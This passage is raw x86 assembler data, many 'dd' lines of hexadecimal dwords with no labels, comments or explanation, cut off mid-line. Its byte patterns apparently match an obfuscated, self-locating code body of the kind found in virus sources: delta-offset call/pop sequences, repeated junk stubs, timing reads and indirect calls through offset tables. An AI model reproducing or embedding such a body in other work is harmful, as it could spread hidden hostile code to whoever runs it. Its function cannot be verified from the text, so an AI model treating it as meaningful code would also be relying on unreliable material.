245C895Bh, 24448104h dd 1704h, 0C3534300h, 0E106FB9Dh, 8DF9BF0Fh, 0E7131995h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 920A198h, 891CB915h, 51006A1Ah, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 28D6D084h dd 666029B9h, 0A0D981h, 8961C5B2h, 0B5090442h, 5E705D9h dd 0F18B6660h, 8A1B589h, 8D6105E7h, 0E70CF195h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BE6609E9h, 89FCF88Dh, 52006A1Ah, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 95093E6Fh dd 5E705EDh, 4289EDB5h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 13D7F2CAh, 10E95Ah, 0CFB10000h dd 0D676039Dh, 431AFD46h, 23B7ED62h, 958DC39Ch, 5E71BA1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4FC35747h dd 6A1A89h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 428916C3h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 61455F3h, 81BD89F9h, 0E905E70Ch dd 0Fh, 0CBCFCF13h, 0D9AE1265h, 0C5C48D54h, 8DE3B4AAh dd 0E712C195h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 9FBE598Dh, 8958E44Eh dd 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 3798C8A1h, 0CFD68197h, 89547D51h, 6A0442h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 26366BC3h, 4CBF6682h, 35958DA4h, 6605E722h, 8B0EADB9h dd 0E702F1B5h, 0F1A8905h, 4289F2B7h, 4840F04h, 66000000h dd 8DF42CBFh, 0E700BD95h, 45BD3305h, 8905E705h, 52006A1Ah dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 65B58B78h, 8905E70Dh, 0BD890442h, 5E72231h, 3161958Dh dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0D9F26C3h, 0A0FAEE3Ch, 7755BFBAh, 157203Bh dd 0E708A1B5h, 1A895905h, 31952952h, 5905E700h, 6A044289h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 9510C350h, 0CD0BA59Bh, 0AC23473Ah, 0D2F3B966h dd 0CE9h, 4FA8A00h, 427A99F7h, 0DEC4500Bh, 0C5958DC8h dd 5105E70Eh, 0F81EF181h, 89595B97h, 57006A1Ah, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 42896158h dd 55953104h, 0E905E71Ch, 0CDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 85C35343h, 0A520ED15h, 25E9BD01h dd 6A05E7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 7AC35040h, 0F88B663Ch, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 2B540FC3h dd 57B1D0AEh, 880F006Ah, 6, 12419589h, 6A05E7h, 8158D8Bh dd 95FF05E7h, 5E72055h, 6AC35E51h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 279FC350h, 0E9F6C07Ah, 11h, 0DDCCE273h, 48E7A7ABh, 56BB54DFh dd 578211E2h, 0E9F78195h, 89378743h, 0E72171B5h, 6AC58A05h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 9C83C355h, 52B9F323h, 0DE9A2h, 29AA0000h dd 767B8B8Ch, 97FC0ADEh, 8BC0D544h, 44E9BEC0h, 0BD83340Ah dd 5E70D79h, 83097500h, 0E71C15BDh, 19740005h, 0C08B5350h dd 438B8h, 2D858900h, 8D05E70Fh, 0E9AA9B9Dh, 5BD3FF05h dd 15BD8358h, 5E71Ch, 53501774h, 438B8h, 2D858900h, 8D05E70Fh dd 0E9A73C9Dh, 5BD3FF05h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 84D0225Dh dd 0E7816647h, 6A67B1h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0F1F53C3h, 1182h, 0AE800h, 7A4B0000h dd 5EB4972Ch, 25F2E02Ah, 91BF5EF8h, 8B6E6E39h, 0F9858DC0h dd 2905E71Ah, 0E7062D8Dh, 0B59D0305h, 9005E716h, 0AE9h dd 0FC8C4C00h, 33CAA931h, 5050708Bh, 90D98B66h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 85C35545h, 4E050275h dd 1DC679E7h, 1C999D8Bh, 6A05E7h, 1CDB589h, 9D8B05E7h dd 5E732D9h, 9D23006Ah, 5E71691h, 3756858Dh, 6A05EBh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0BE3ACAC3h, 0DCB700BBh, 8B05C083h, 90F98BDAh, 8546CBBh dd 0C0BB5002h, 9034E2E0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 25C35141h, 800F21DAh, 3, 6ADA8B66h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0DA292001h, 11E81Dh, 0CA0B0000h, 8BDCD24Dh, 7E8E85ABh dd 4FF69C48h, 60A243DAh, 8A0Fh, 5B610000h, 7FBB006Ah, 0FF224C17h dd 0E702C595h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0B1254393h, 869EB3C1h dd 55BB669Ch, 148D8D99h, 6605EA95h, 0D1FFFB8Bh, 0EB816660h dd 8FBB0CD6h, 6124CCF7h, 7F1BD83h, 0F0105E7h, 0AE85h, 6A026A00h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 175BC357h, 2C8AD98Ch, 8BFBE3C7h, 0E713299Dh dd 52509005h, 0CE9h, 9BFB4000h, 0FB683753h, 85F74023h dd 8B310F12h, 50585AF9h, 90D98B66h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0C4C35040h, 93AEEC11h, 11E971h dd 0C8CA0000h, 8E179D7Bh, 2E9BE78h, 98B409F1h, 0FF787083h dd 0E7004195h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 90C39103h, 9D8D2974h dd 0E905E705h, 0D30h, 0E8h, 0ED815D00h, 5EB3760h, 6AFBB70Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 5856C350h, 0C1B440EAh, 0B5891ED8h, 5E722D1h dd 0ED8D29h, 858D05E7h, 5EA8F5Bh, 6870Fh, 0E7810000h, 6EC3495Bh dd 68E0Fh, 9D8B0000h, 5E72DF5h, 0BEFCBF50h, 4892B26h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 6B06959Dh, 2362F0BFh, 35FF6423h, 0 dd 2181BD89h, 896405E7h, 25h, 0EF816000h, 5BB70A0Bh, 0AE9h dd 86857300h, 0E1820309h, 6167BC13h, 1CE185FFh, 0C8BF05E7h dd 6A15D112h, 0F8B70FFFh, 262DB5FFh, 8E805E7h, 0C8000000h dd 6003475Ah, 95C0202h, 0E7134585h, 0CB815B05h, 61BE90BBh dd 29C195FFh, 1EE905E7h, 0F000001h, 284h, 31FA8B00h, 0E713D98Dh dd 5000B005h, 68B0Fh, 8D310000h, 5E725A5h, 6670E65Fh, 7010C381h dd 2259BD2Bh, 71E405E7h, 2A1DBD2Bh, 613C05E7h, 0E3830Fh dd 8B660000h, 0C8B60FFEh, 13B5BD89h, 6BA05E7h, 66000000h dd 8B8B45BFh, 12E9C1h, 7F4E0000h, 2C931BB1h, 1ABDC99Eh dd 3CE3FA83h, 0CDF19EE4h, 0DC98589h, 0E8C105E7h, 5FFC5004h dd 0E9E2F766h, 0Fh, 0FFCD0E30h, 0B94945B7h, 0BB99E6D8h dd 2B0CB925h, 9D8B57C8h, 5E71B65h, 0E9D18B5Fh, 1Dh, 21199D8Bh dd 12E905E7h, 26000000h, 0EE3C0D9Fh, 0ABAA0FAh, 0C2F8E0B0h dd 1350905Fh, 19858BFDh, 6605E713h, 0BBF135BBh, 412E3CB6h dd 6607C083h, 3B88CF81h, 0B700C083h, 0FD03B72h, 0D83h dd 85BD3300h, 0E905E707h, 35h, 8D8BD88Bh, 5E71C59h, 0DDD8D29h dd 0E18305E7h, 1E840F01h, 0F000000h, 0A583DEBFh, 5E71C59h dd 0F88B66FEh, 13199589h, 950905E7h, 5E72C99h, 0E9h, 6EB58D00h dd 8B05EABAh, 0E71565BDh, 6A006A05h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 85E9C351h dd 1A1D95FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 93718EC3h, 3402EA42h, 820F5157h dd 0 dd 81665F5Fh, 0B93966DFh, 69Ch, 0E1839BB7h, 0E38166FCh dd 60FC3652h, 259D958Bh, 0B58905E7h, 5E726A1h, 0B861h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 764C57C3h, 12E9E9h, 0F8800000h, 0CA1F0462h dd 0F6546C29h, 3325B537h, 0AE0B70ECh, 6AD22Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0B72C9AC3h, 0AB7D7B68h, 60605607h, 0A1D88061h, 8E0F5B61h dd 10h, 0BE9h, 53CD9A00h, 5FC92061h, 0F0CC2791h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 4880Fh, 0BB660000h, 6AEF89h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 60C9ABC3h, 2A3CBB88h, 880D64B7h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 8BBFC353h, 0E7231595h, 1BD8905h, 8B05E701h, 0E708B98Dh dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 816650D4h, 5B47BCEBh, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 7BFAABC3h, 0C10EDCE7h dd 0BD8BDCF2h, 5E729BDh, 2C99D89h, 9D8B05E7h, 5E7127Dh dd 211DBD83h, 0F0005E7h, 4884h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 11CF4D4h, 0E70CB5BDh dd 0B805h, 9D8B0000h, 5E70B7Dh, 878B0DBFh, 0FA8D8D42h dd 8905E74Dh, 0E72BF5BDh, 8BE1FF05h, 0E722559Dh, 99BD8305h dd 5E70Ch, 45E840Fh, 0EE80000h, 3000000h, 32EF2C12h, 0C69D3834h dd 3A8A1779h, 0C19D297Eh, 5B05E716h, 0EE8h, 27149400h dd 0A7AE9819h, 1B8FAEF0h, 89174D81h, 0E71C3D85h, 0BD835F05h dd 5E70C99h, 38840F01h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 2305C351h dd 861CF9EAh, 68B0Fh, 85290000h, 5E72A39h, 0C99BD83h, 0F0305E7h dd 3C886h, 0A19D8B00h, 6005E715h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 9C35242h, 85890051h, 5E72A55h dd 29D98C66h, 0E727918Dh, 13E905h, 55C20000h, 63A3D62Dh dd 3154EDC1h, 18663711h, 0CDA89843h, 4E180E9h, 0C90A5B52h dd 108840Fh, 90BB0000h, 8B662AF6h, 0E7072D85h, 0F3816605h dd 8533E277h, 5E72E81h, 90FE8B66h, 579159BFh, 880F5051h dd 0Bh, 6E9h, 0ED7B7800h, 907F6036h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 9FC35747h, 60371CD8h, 0A61BD8Bh dd 0CF8105E7h, 4F3192A8h, 0FA8B6661h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0D49292C3h, 0B8D7E19Eh, 5C59D89h, 4E805E7h, 0FF000000h dd 8B001F03h, 68B350DEh, 424448Bh, 8BD88Bh, 310F5250h dd 3ED195BBh, 89585A2Dh, 0F042444h, 484h, 50BF6600h, 6A5828h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 254001C3h, 8AEFE5BFh, 0E595FF5Ah, 0F05E720h, 389h, 0D9BF0F00h dd 0A3508589h, 0BD8B05EAh, 5E7145Dh, 217E9h, 0A234BF00h dd 0BB6613AEh, 858B91CFh, 5EAA348h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 93C35545h, 0DBCC130h, 0AE98Bh dd 4F3A0000h, 734561DEh, 99303BE5h, 1800C7h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 25875DC3h, 0ACF9DA0Dh, 0AE9EFh, 228B0000h, 14FF747Eh dd 19A314A0h, 0A34CB58Bh, 6A05EAh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 8A607CC3h, 4D8D8BF9h dd 6105E731h, 81858Bh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 8985BCC3h, 482400D2h dd 6A068972h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0F105C352h, 0B58B60F5h, 5E72DE9h dd 10850Fh, 0AE80000h, 0A7000000h, 1D64B21h, 9EC951B0h dd 8B6158DCh, 0E7072D85h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0B4AC1034h dd 446891Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 48C35747h, 0C98D8957h, 5B05E72Dh, 0D88B5396h, 5250505Fh dd 310F8FB3h, 5ADE8B66h, 0B70F9658h, 0E78166D9h, 0B5FF44AFh dd 5EAA348h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 4AC35040h, 0BD05CBAFh, 21BD8BFEh, 0E805E722h, 4 dd 1F03FFh, 7BB6651h, 8B505BF1h, 24448BDFh, 4ABB6604h dd 52008B3Ch, 3830Fh, 8B660000h, 44895BD9h, 18BB0424h dd 5808EED8h, 32B99D89h, 858D05E7h, 5EAA350h, 15318589h dd 509005E7h, 0DF8B6652h, 5250310Fh, 0AE8h, 252BA100h dd 8E4326A9h, 5FA0D40Ch, 0A8BB310Fh, 5A43853Eh, 50585A58h dd 0FBBF0F90h, 20E595FFh, 8D2905E7h, 5E70D7Dh, 0DA8B6661h dd 0C9985C7h, 305E7h, 0B70F0000h, 0F28B60F8h, 0C1DBD23h dd 836105E7h, 0EAA350BDh, 840F0005h, 31h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 2BC35343h, 1E3DEF5Dh dd 89A9ECDAh, 0E716419Dh, 1EE905h, 0B70F0000h, 0C3050FBh dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F7C35242h, 0D876BD4Dh dd 0B39153BDh, 820FFE8Bh, 6, 0AA19D89h, 0BD8305E7h, 5E70C99h dd 0E9850F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0AE2CC352h, 497369D3h dd 6A41E9EFh, 0BD83DF8Bh, 5EAA350h, 0B5840F00h, 66000003h dd 0B5FFDE8Bh, 5EAA350h, 8E86052h, 95000000h, 0D135CD9Ch dd 580625C6h, 61CA8B66h, 6995FF5Bh, 6A05E72Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0C47DC356h, 0BB7094B5h, 70CD8E54h, 0B58BD98Ah, 5EAA344h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 47C35545h dd 1DEDC057h, 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0C70800C3h, 0A2DD8D0Fh dd 14E996h, 0BF9C0000h, 733CE014h, 7263BEB2h, 2F17C4A7h dd 0DC3476E1h, 0BF5072C5h, 4C56AEh, 0B5FFF896h, 5EAA350h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 15C35747h dd 0DC521BEAh, 0BA08DF81h, 8166116Fh, 0FF5384C3h, 0E7247D95h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0B58B110Fh, 5EAA344h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 63C35646h, 34E13D78h dd 0E2F2CB81h, 0BD8B5B11h, 5E701F9h, 858BDA8Bh, 5E703CDh dd 8689D88Bh, 0C4h, 10E9h, 92E1F300h, 25326681h, 1EE1C7CAh dd 78D38F56h, 15958B0Dh, 0E905E723h, 5, 69B8FE20h, 4C283BAh dd 2E3DBD33h, 12E805E7h, 3E000000h, 977456B5h, 0F33D422Ch dd 282A5613h, 2067B69Dh, 15BD095Fh, 5B05E713h, 6A205089h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 418C352h, 0AAE7E91Dh, 66B716DEh, 0B732858Dh dd 8D0F05EAh, 5, 611ED8BBh, 0B8868931h, 8B000000h, 0E716F5BDh dd 66006A05h, 204BF381h, 0A350B5FFh, 6A05EAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0F2F978C3h dd 60EB3224h, 26B98529h, 0FF6105E7h, 0E7004195h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 50493BFCh, 48A0Fh, 0BF660000h, 3489153Dh, 50B5FF24h dd 6605EAA3h, 9916F381h, 2A0995FFh, 8B6605E7h, 0F9BD83D8h dd 5E704h, 62840Fh, 0BB660000h, 519696E8h, 0BE956h, 74860000h dd 0F727BC7h, 9527608Eh, 505F5B58h, 6A96CCB7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 3566C352h, 162FF63Ch, 1D830F87h, 0E8000000h, 11h, 0F61A0EA7h dd 0F96E6BADh, 0EBBC7758h, 292BF56Dh, 0ADBD8BA3h, 5B05E72Eh dd 0A350B5FFh, 9D8B05EAh, 5E71C31h, 71D95FFh, 895205E7h dd 0E70F1DBDh, 0B5FF5B05h, 5EAA350h, 0CC595FFh, 0BD0905E7h dd 5E7123Dh, 25CDBD83h, 0F0205E7h, 7B84h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 837FD023h, 0B9958B60h, 0E905E732h, 14h, 244F6066h, 517CEDB9h dd 85BB397Dh, 7B79121Eh, 0C44DDC3Ch, 51858B61h, 6A05E706h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0B86AC350h, 26EFA0B5h, 8B664FB9h, 69BD89FAh dd 0C605E715h, 85310000h, 5E707A1h, 0DFD85C7h, 5E7h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 424191C3h, 0F78E9C40h, 0BFA31F73h, 28194A80h, 0FFF3B6E9h dd 59D03FFh, 8B05E715h, 50006AC1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 11A0B9Ch, 1AF9858Dh, 0B58905E7h dd 5E71741h, 89D98B50h, 8B662404h, 6A006AD9h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0F5A2C353h, 0C522108Ah, 0D39BD89h, 6A05E7h, 8DF8B70Fh dd 0EB464D85h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 324FDE75h, 933FBB66h dd 6A05C083h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 5EC4C353h, 5231D8BAh, 13E9h, 88514100h dd 9B8F2EB1h, 5800F6F7h, 0FDBDAAE4h, 0A89C9A9Fh, 8D0F505Fh dd 3, 89F98B66h, 9D092404h, 5E71F6Dh, 8589006Ah, 5E71B69h dd 8B66006Ah, 0C595FFFAh, 6A05E702h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 61E2C350h dd 11E8A1h, 3F10000h, 701F8A6Ah, 13823504h, 0AB1EDC57h dd 666150AEh, 1525E781h, 258D295Fh, 8D05E71Bh, 0EA95148Dh dd 6E905h, 765C0000h, 293AE779h, 6AD1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8312C3h dd 5E707F1h, 77850F01h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CC3CC355h dd 6A026AF8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0FD3BC352h, 1D88A3Dh, 0E703118Dh dd 8B669005h, 0DA8B50DFh, 95FFFC90h, 5E70041h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D4C35646h, 1B59BD89h dd 6AE905E7h, 0E800000Dh, 0 dd 57ED815Dh, 8A05EB46h, 11E8D8h, 0FEE30000h, 9DBC3119h dd 30CEB762h, 0A14A4DB2h, 577DD362h, 0B1ADF781h, 5F5B4877h dd 8F5B858Dh, 9D8905EAh, 5E72731h, 0C880F50h, 50000000h dd 32BF6652h, 0B3310FA4h, 89585ADBh, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 64DD16C3h dd 35FFh, 53600000h, 5BECC080h, 0D8D23h, 646105E7h, 2589h dd 9D8B0000h, 5E71579h, 1CE185FFh, 0D6BF05E7h, 0F559E37Ch dd 0BB66FF6Ah, 0B5FFD078h, 5E71575h, 1C959D03h, 95FF05E7h dd 5E729C1h, 129E9h, 0B0DA8B00h, 799D0300h, 0E605E72Ah dd 0C5B58970h, 8B05E705h, 6071E4DEh, 35D9533h, 10E905E7h dd 0C000000h, 2F6391A3h, 634CD21Dh, 876CA238h, 61C80BDAh dd 830F613Ch, 0EEh, 0EE9h, 0DAEE5C00h, 69B9E89Ch, 981E4BE9h dd 0F8E93BDh, 9D89C8B6h, 5E71355h, 6BAh, 0C81ABF00h, 0C18B602Bh dd 6840Fh, 0B5010000h, 5E7085Dh, 8904E8C1h, 0E70C8D8Dh dd 0E2F76605h, 89C82BF5h, 0E7020D85h, 0E8D18B05h, 7, 45BD8207h dd 0F8FA1D87h, 6E95Bh, 0B5290000h, 5E704C9h, 0CF1858Bh dd 9D8905E7h, 5E7163Dh, 6607C083h, 839BD5BFh, 0BD2900C0h dd 5E703ADh, 830FD03Bh, 12h, 1CF6BF66h, 5DE9h, 3870F00h dd 0F000000h, 8D8BDBBFh, 5E727D9h, 0AE9h, 926F8300h, 889B722Fh dd 666DE0ABh, 83296BBFh, 840F01E1h, 32h, 83F88B66h, 0E727D9A5h dd 0BD8BFE05h, 5E72BADh, 6E9h, 0E65ED800h, 89F65BF7h, 0E70CF195h dd 359D8B05h, 8905E704h, 0E7174D8Dh, 0E905h, 0B58D0000h dd 5EAC2C6h, 6AD98B66h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 18FE8083h, 0FC2EB6Bh dd 0C87h, 7E900h, 0FFC0000h, 0F32AE368h, 1D95FF96h, 6605E71Ah dd 49B9F88Bh, 6A00000Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0C602C357h, 84EFAE10h dd 0CE884h, 9C230000h, 23D6ADC3h, 542036ADh, 8D89439Ah dd 5E70375h, 0FCE1835Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 4DC35545h, 0DDBD29FCh, 0B805E71Ch, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 3EC35747h dd 80D98B66h, 0D22B74DFh, 38C0F57h, 66000000h, 0F5BD98Bh dd 1086h, 0BE900h, 4E110000h, 0E2CD433Bh, 0A2640AD6h, 0C233ADE0h dd 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0DC6972C5h dd 6102F9E8h, 0A1B52941h, 6A05E72Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0EB0EC356h dd 5E64CE7h, 6E9AAh, 4E080000h, 6130F36Ch, 3840Fh, 0BF0F0000h dd 880DDBh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8B828FC3h, 0E72E99BDh, 0BDB7BF05h dd 958B0B4Eh, 5E72315h, 13659D8Bh, 8D8B05E7h, 5E708B9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B7C35747h dd 50FA8B66h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0FEDB119h, 584h, 53A5BF00h, 0BD8333E9h dd 5E7211Dh, 31840F00h, 0B8000000h, 0 dd 4DFA8D8Dh, 0E78105E7h, 23C278FFh, 6AE1FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0F8A535C3h dd 0C99BD83h, 0F0005E7h, 44584h, 13E900h, 59A0000h, 5EA3A396h dd 0B286DC5Fh, 38C9F333h, 828F9FD8h, 9CBF66F5h, 99BD8388h dd 105E70Ch, 437840Fh, 0B70F0000h, 99BD83FEh, 305E70Ch dd 3F1860Fh, 0F88B0000h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0C1BD8B11h, 6605E703h dd 8C66DA8Bh, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 34538A76h, 6630C2DBh, 816635B3h dd 0FDD94E3h, 68Ah, 459D8B00h, 8005E706h, 1CBB04E1h, 0A0F345Eh dd 6B840FC9h, 0E8000001h, 0Ah, 0C85ADBACh, 50D749EBh, 8E0F4430h dd 1Ah, 14E8h, 7B848400h, 9FA49419h, 0E9F098FBh, 20FC8D7Ch dd 2C30881Ah, 8B5F5B05h, 0E7072D85h, 33FB8B05h, 0E72E8185h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0F87080F5h, 89DF8B50h, 6A2404h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0E5C1ABC3h, 0EE4BB91h, 0FE8A5214h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0AD4EABC3h, 566C03F3h, 22A99D03h, 4E805E7h, 0FF000000h dd 0B3001F03h, 525050EAh, 8B0F60h, 50000000h, 5A310F52h dd 310F6158h, 7E9h, 0E828EF00h, 0E0F1BB55h, 448B585Ah dd 27BB0424h, 8B57D795h, 8B666000h, 448961F7h, 0EE90424h dd 95000000h, 7C9AFF3Ah, 7FB40654h, 2F0C3787h, 9D8B584Ch dd 5E727D5h, 20E595FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 39EEEDC3h, 50858996h dd 6A05EAA3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0B8ECC351h, 0E9F9BF0Fh, 181h dd 7DBD8B51h, 5F05E708h, 2C099D8Bh, 858B05E7h, 5EAA348h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0CDC35646h dd 0A906F31Ah, 0DF0AD381h, 0CF8166A6h, 0C7D1F7h, 18h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B9C35343h, 6410DC31h dd 1F69B589h, 0B58B05E7h, 5EAA34Ch, 8BFAB70Fh, 0E7008185h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 6A75FDC3h, 930976ACh, 9D8B605Ah, 5E726CDh dd 3175BD89h, 896105E7h, 6820F06h, 81000000h, 50A48AC3h dd 2D858B68h, 0F05E707h, 8Bh, 4468900h, 0D2816660h, 0B58BCEECh dd 5E71CD1h, 8B665061h, 243489FEh, 0AB2278BFh, 48B5FF02h dd 0F05EAA3h, 686h, 5DB50900h, 0E905E70Ch, 0Dh, 0C9F42F84h dd 0F2D875BBh, 30983BCDh, 329B681Ch, 13B337EDh, 64243481h dd 6637F231h, 8DD72DBFh, 0EAA35085h, 0DBB70F05h, 0CABF6650h dd 24048976h, 0E856006Ah, 3, 